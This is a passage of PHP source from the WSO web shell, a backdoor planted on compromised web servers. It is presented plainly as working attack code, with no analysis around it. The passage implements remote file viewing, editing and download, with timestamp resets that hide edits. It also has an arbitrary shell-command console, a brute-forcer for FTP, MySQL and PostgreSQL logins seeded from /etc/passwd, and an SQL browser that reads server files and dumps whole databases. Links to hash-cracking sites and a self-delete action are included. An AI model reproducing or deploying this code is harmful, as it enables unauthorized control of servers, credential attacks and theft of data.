510 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
511 }
512 usort($files, "wsoCmp");
513 usort($dirs, "wsoCmp");
514 $files = array_merge($dirs, $files);
515 $l = 0;
516 foreach ($files as $f) {
517 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
518 $l = $l ? 0 : 1;
519 }
520 echo "<tr><td colspan=7>
521 <input type=hidden name=a value='FilesMan'>
522 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
523 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
524 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
525 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
526 echo "<option value='tar'>Compress (tar.gz)</option>";
527 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
528 echo "</select> ";
529 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
530 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
531 wsoFooter();
532 }
533 function actionStringTools() {
534 if (!function_exists('hex2bin')) {
535 function hex2bin($p) {
536 return decbin(hexdec($p));
537 }
538 }
539 if (!function_exists('binhex')) {
540 function binhex($p) {
541 return dechex(bindec($p));
542 }
543 }
544 if (!function_exists('hex2ascii')) {
545 function hex2ascii($p) {
546 $r = '';
547 for ($i = 0;$i < strLen($p);$i+= 2) {
548 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
549 }
550 return $r;
551 }
552 }
553 if (!function_exists('ascii2hex')) {
554 function ascii2hex($p) {
555 $r = '';
556 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
557 return strtoupper($r);
558 }
559 }
560 if (!function_exists('full_urlencode')) {
561 function full_urlencode($p) {
562 $r = '';
563 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
564 return strtoupper($r);
565 }
566 }
567 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
568 if (isset($_POST['ajax'])) {
569 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
570 ob_start();
571 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
572 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
573
574 \'") . "';
575";
576 echo strlen($temp), "
577", $temp;
578 exit;
579 }
580 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
581 wsoHeader();
582 echo '<h1>String conversions</h1><div class=content>';
583 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
584 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
585 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
586 if (!empty($_POST['p1'])) {
587 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
588 }
589 echo "</pre></div><br><h1>Search files:</h1><div class=content>
590 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
591 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
592 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
593 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
594 <tr><td></td><td><input type='submit' value='>>'></td></tr>
595 </table></form>";
596 function wsoRecursiveGlob($path) {
597 if (substr($path, -1) != '/') $path.= '/';
598 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
599 if (is_array($paths) && @count($paths)) {
600 foreach ($paths as $item) {
601 if (@is_dir($item)) {
602 if ($path != $item) wsoRecursiveGlob($item);
603 } else {
604 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
605 }
606 }
607 }
608 }
609 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
610 echo "</div><br><h1>Search for hash:</h1><div class=content>
611 <form method='post' target='_blank' name='hf'>
612 <input type='text' name='hash' style='width:200px;'><br>
613 <input type='hidden' name='act' value='find'/>
614 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
615 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
616 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
617 </form></div>";
618 wsoFooter();
619 }
620 function actionFilesTools() {
621 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
622 if (@$_POST['p2'] == 'download') {
623 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
624 ob_start("ob_gzhandler", 4096);
625 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
626 if (function_exists("mime_content_type")) {
627 $type = @mime_content_type($_POST['p1']);
628 header("Content-Type: " . $type);
629 } else header("Content-Type: application/octet-stream");
630 $fp = @fopen($_POST['p1'], "r");
631 if ($fp) {
632 while (!@feof($fp)) echo @fread($fp, 1024);
633 fclose($fp);
634 }
635 }
636 exit;
637 }
638 if (@$_POST['p2'] == 'mkfile') {
639 if (!file_exists($_POST['p1'])) {
640 $fp = @fopen($_POST['p1'], 'w');
641 if ($fp) {
642 $_POST['p2'] = "edit";
643 fclose($fp);
644 }
645 }
646 }
647 wsoHeader();
648 echo '<h1>File tools</h1><div class=content>';
649 if (!file_exists(@$_POST['p1'])) {
650 echo 'File not exists';
651 wsoFooter();
652 return;
653 }
654 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
655 if (!$uid) {
656 $uid['name'] = @fileowner($_POST['p1']);
657 $gid['name'] = @filegroup($_POST['p1']);
658 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
659 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
660 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
661 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
662 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
663 else $m = array('Chmod', 'Rename', 'Touch');
664 foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
665 echo '<br><br>';
666 switch ($_POST['p2']) {
667 case 'view':
668 echo '<pre class=ml1>';
669 $fp = @fopen($_POST['p1'], 'r');
670 if ($fp) {
671 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
672 @fclose($fp);
673 }
674 echo '</pre>';
675 break;
676 case 'highlight':
677 if (@is_readable($_POST['p1'])) {
678 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
679 $code = @highlight_file($_POST['p1'], true);
680 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
681 }
682 break;
683 case 'chmod':
684 if (!empty($_POST['p3'])) {
685 $perms = 0;
686 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
687 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
688 }
689 clearstatcache();
690 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
691 break;
692 case 'edit':
693 if (!is_writable($_POST['p1'])) {
694 echo 'File isn\'t writeable';
695 break;
696 }
697 if (!empty($_POST['p3'])) {
698 $time = @filemtime($_POST['p1']);
699 $_POST['p3'] = substr($_POST['p3'], 1);
700 $fp = @fopen($_POST['p1'], "w");
701 if ($fp) {
702 @fwrite($fp, $_POST['p3']);
703 @fclose($fp);
704 echo 'Saved!<br><script>p3_="";</script>';
705 @touch($_POST['p1'], $time, $time);
706 }
707 }
708 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
709 $fp = @fopen($_POST['p1'], 'r');
710 if ($fp) {
711 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
712 @fclose($fp);
713 }
714 echo '</textarea><input type=submit value=">>"></form>';
715 break;
716 case 'hexdump':
717 $c = @file_get_contents($_POST['p1']);
718 $n = 0;
719 $h = array('00000000<br>', '', '');
720 $len = strlen($c);
721 for ($i = 0;$i < $len;++$i) {
722 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
723 switch (ord($c[$i])) {
724 case 0:
725 $h[2].= ' ';
726 break;
727 case 9:
728 $h[2].= ' ';
729 break;
730 case 10:
731 $h[2].= ' ';
732 break;
733 case 13:
734 $h[2].= ' ';
735 break;
736 default:
737 $h[2].= $c[$i];
738 break;
739 }
740 $n++;
741 if ($n == 32) {
742 $n = 0;
743 if ($i + 1 < $len) {
744 $h[0].= sprintf('%08X', $i + 1) . '<br>';
745 }
746 $h[1].= '<br>';
747 $h[2].= "
748";
749 }
750 }
751 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
752 break;
753 case 'rename':
754 if (!empty($_POST['p3'])) {
755 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
756 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
757 }
758 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
759 break;
760 case 'touch':
761 if (!empty($_POST['p3'])) {
762 $time = strtotime($_POST['p3']);
763 if ($time) {
764 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
765 else echo 'Touched!';
766 } else echo 'Bad time format!';
767 }
768 clearstatcache();
769 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
770 break;
771 }
772 echo '</div>';
773 wsoFooter();
774 }
775 function actionConsole() {
776 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
777 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
778 $_POST['p1'].= ' 2>&1';
779 } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
780 if (isset($_POST['ajax'])) {
781 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
782 ob_start();
783 echo "d.cf.cmd.value='';
784";
785 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
786$ " . $_POST['p1'] . "
787" . wsoEx($_POST['p1']), "
788
789 \'"));
790 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
791 if (@chdir($match[1])) {
792 $GLOBALS['cwd'] = @getcwd();
793 echo "c_='" . $GLOBALS['cwd'] . "';";
794 }
795 }
796 echo "d.cf.output.value+='" . $temp . "';";
797 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
798 $temp = ob_get_clean();
799 echo strlen($temp), "
800", $temp;
801 exit;
802 }
803 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
804 wsoHeader();
805 echo "<script>
806if(window.Event) window.captureEvents(Event.KEYDOWN);
807var cmds = new Array('');
808var cur = 0;
809function kp(e) {
810 var n = (window.Event) ? e.which : e.keyCode;
811 if(n == 38) {
812 cur--;
813 if(cur>=0)
814 document.cf.cmd.value = cmds[cur];
815 else
816 cur++;
817 } else if(n == 40) {
818 cur++;
819 if(cur < cmds.length)
820 document.cf.cmd.value = cmds[cur];
821 else
822 cur--;
823 }
824}
825function add(cmd) {
826 cmds.pop();
827 cmds.push(cmd);
828 cmds.push('');
829 cur = cmds.length-1;
830}
831</script>";
832 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
833 foreach ($GLOBALS['aliases'] as $n => $v) {
834 if ($v == '') {
835 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
836 continue;
837 }
838 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
839 }
840 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
841 if (!empty($_POST['p1'])) {
842 echo htmlspecialchars("$ " . $_POST['p1'] . "
843" . wsoEx($_POST['p1']));
844 }
845 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
846 echo '</form></div><script>d.cf.cmd.focus();</script>';
847 wsoFooter();
848 }
849 function actionLogout() {
850 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
851 die('bye!');
852 }
853 function actionSelfRemove() {
854 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
855 else echo 'unlink error!';
856 if ($_POST['p1'] != 'yes') wsoHeader();
857 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
858 wsoFooter();
859 }
860 function actionBruteforce() {
861 wsoHeader();
862 if (isset($_POST['proto'])) {
863 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
864 if ($_POST['proto'] == 'ftp') {
865 function wsoBruteForce($ip, $port, $login, $pass) {
866 $fp = @ftp_connect($ip, $port ? $port : 21);
867 if (!$fp) return false;
868 $res = @ftp_login($fp, $login, $pass);
869 @ftp_close($fp);
870 return $res;
871 }
872 } elseif ($_POST['proto'] == 'mysql') {
873 function wsoBruteForce($ip, $port, $login, $pass) {
874 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
875 @mysql_close($res);
876 return $res;
877 }
878 } elseif ($_POST['proto'] == 'pgsql') {
879 function wsoBruteForce($ip, $port, $login, $pass) {
880 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
881 $res = @pg_connect($str);
882 @pg_close($res);
883 return $res;
884 }
885 }
886 $success = 0;
887 $attempts = 0;
888 $server = explode(":", $_POST['server']);
889 if ($_POST['type'] == 1) {
890 $temp = @file('/etc/passwd');
891 if (is_array($temp)) foreach ($temp as $line) {
892 $line = explode(":", $line);
893 ++$attempts;
894 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
895 $success++;
896 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
897 }
898 if (@$_POST['reverse']) {
899 $tmp = "";
900 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
901 ++$attempts;
902 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
903 $success++;
904 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
905 }
906 }
907 }
908 } elseif ($_POST['type'] == 2) {
909 $temp = @file($_POST['dict']);
910 if (is_array($temp)) foreach ($temp as $line) {
911 $line = trim($line);
912 ++$attempts;
913 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
914 $success++;
915 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
916 }
917 }
918 }
919 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
920 }
921 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
922 echo '</div><br>';
923 wsoFooter();
924 }
925 function actionSql() {
926 class DbClass {
927 var $type;
928 var $link;
929 var $res;
930 function DbClass($type) {
931 $this->type = $type;
932 }
933 function connect($host, $user, $pass, $dbname) {
934 switch ($this->type) {
935 case 'mysql':
936 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
937 break;
938 case 'pgsql':
939 $host = explode(':', $host);
940 if (!$host[1]) $host[1] = 5432;
941 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
942 break;
943 }
944 return false;
945 }
946 function selectdb($db) {
947 switch ($this->type) {
948 case 'mysql':
949 if (@mysql_select_db($db)) return true;
950 break;
951 }
952 return false;
953 }
954 function query($str) {
955 switch ($this->type) {
956 case 'mysql':
957 return $this->res = @mysql_query($str);
958 break;
959 case 'pgsql':
960 return $this->res = @pg_query($this->link, $str);
961 break;
962 }
963 return false;
964 }
965 function fetch() {
966 $res = func_num_args() ? func_get_arg(0) : $this->res;
967 switch ($this->type) {
968 case 'mysql':
969 return @mysql_fetch_assoc($res);
970 break;
971 case 'pgsql':
972 return @pg_fetch_assoc($res);
973 break;
974 }
975 return false;
976 }
977 function listDbs() {
978 switch ($this->type) {
979 case 'mysql':
980 return $this->query("SHOW databases");
981 break;
982 case 'pgsql':
983 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
984 break;
985 }
986 return false;
987 }
988 function listTables() {
989 switch ($this->type) {
990 case 'mysql':
991 return $this->res = $this->query('SHOW TABLES');
992 break;
993 case 'pgsql':
994 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
995 break;
996 }
997 return false;
998 }
999 function error() {
1000 switch ($this->type) {
1001 case 'mysql':
1002 return @mysql_error();
1003 break;
1004 case 'pgsql':
1005 return @pg_last_error();
1006 break;
1007 }
1008 return false;
1009 }
1010 function setCharset($str) {
1011 switch ($this->type) {
1012 case 'mysql':
1013 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1014 else $this->query('SET CHARSET ' . $str);
1015 break;
1016 case 'pgsql':
1017 return @pg_set_client_encoding($this->link, $str);
1018 break;
1019 }
1020 return false;
1021 }
1022 function loadFile($str) {
1023 switch ($this->type) {
1024 case 'mysql':
1025 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1026 break;
1027 case 'pgsql':
1028 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1029 $r = array();
1030 while ($i = $this->fetch()) $r[] = $i['file'];
1031 $this->query('drop table wso2');
1032 return array('file' => implode("
1033", $r));
1034 break;
1035 }
1036 return false;
1037 }
1038 function dump($table, $fp = false) {
1039 switch ($this->type) {
1040 case 'mysql':
1041 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1042 $create = mysql_fetch_array($res);
1043 $sql = $create[1] . ";
1044";
1045 if ($fp) fwrite($fp, $sql);
1046 else echo ($sql);
1047 $this->query('SELECT * FROM `' . $table . '`');
1048 $i = 0;
1049 $head = true;
1050 while ($item = $this->fetch()) {
1051 $sql = '';
1052 if ($i % 1000 == 0) {
1053 $head = true;
1054 $sql = ";
1055
1056";
1057 }
1058 $columns = array();
1059 foreach ($item as $k => $v) {
1060 if ($v === null) $item[$k] = "NULL";
1061 elseif (is_int($v)) $item[$k] = $v;
1062 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1063 $columns[] = "`" . $k . "`";
1064 }
1065 if ($head) {
1066 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1067 (" . implode(", ", $item) . ')';
1068 $head = false;
1069 } else $sql.= "
1070 ,(" . implode(", ", $item) . ')';
1071 if ($fp) fwrite($fp, $sql);
1072 else echo ($sql);
1073 $i++;
1074 }
1075 if (!$head) if ($fp) fwrite($fp, ";
1076
1077");
1078 else echo (";
1079
1080");
1081 break;
1082 case 'pgsql':
1083 $this->query('SELECT * FROM ' . $table);
1084 while ($item = $this->fetch()) {
1085 $columns = array();
1086 foreach ($item as $k => $v) {
1087 $item[$k] = "'" . addslashes($v) . "'";
1088 $columns[] = $k;
1089 }
1090 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1091";
1092 if ($fp) fwrite($fp, $sql);
1093 else echo ($sql);
1094 }
1095 break;
1096 }
1097 return false;
1098 }
1099 };
1100 $db = new DbClass($_POST['type']);
1101 if (@$_POST['p2'] == 'download') {
1102 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1103 $db->selectdb($_POST['sql_base']);
1104 switch ($_POST['charset']) {
1105 case "Windows-1251":
1106 $db->setCharset('cp1251');
1107 break;
1108 case "UTF-8":
1109 $db->setCharset('utf8');
1110 break;
1111 case "KOI8-R":
1112 $db->setCharset('koi8r');
1113 break;
1114 case "KOI8-U":
1115 $db->setCharset('koi8u');
1116 break;
1117 case "cp866":
1118 $db->setCharset('cp866');
1119 break;
1120 }
1121 if (empty($_POST['file'])) {
1122 ob_start("ob_gzhandler", 4096);
1123 header("Content-Disposition: attachment; filename=dump.sql");
1124 header("Content-Type: text/plain");
1125 foreach ($_POST['tbl'] as $v) $db->dump($v);
1126 exit;
1127 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1128 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1129 fclose($fp);
1130 unset($_POST['p2']);
1131 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1132 }
1133 wsoHeader();
1134 echo "
1135<h1>Sql browser</h1><div class=content>
1136<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1137<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1138<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1139<td><select name='type'><option value='mysql' ";
1140 if (@$_POST['type'] == 'mysql') echo 'selected';
1141 echo ">MySql</option><option value='pgsql' ";
1142 if (@$_POST['type'] == 'pgsql') echo 'selected';
1143 echo ">PostgreSql</option></select></td>
1144<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1145<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1146<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1147 $tmp = "<input type=text name=sql_base value=''>";
1148 if (isset($_POST['sql_host'])) {
1149 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1150 switch ($_POST['charset']) {
1151 case "Windows-1251":
1152 $db->setCharset('cp1251');
1153 break;
1154 case "UTF-8":
1155 $db->setCharset('utf8');
1156 break;
1157 case "KOI8-R":
1158 $db->setCharset('koi8r');
1159 break;
1160 case "KOI8-U":
1161 $db->setCharset('koi8u');
1162 break;
1163 case "cp866":
1164 $db->setCharset('cp866');
1165 break;
1166 }
1167 $db->listDbs();
1168 echo "<select name=sql_base><option value=''></option>";
1169 while ($item = $db->fetch()) {
1170 list($key, $value) = each($item);
1171 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1172 }
1173 echo '</select>';
1174 } else echo $tmp;
1175 } else echo $tmp;
1176 echo "</td>
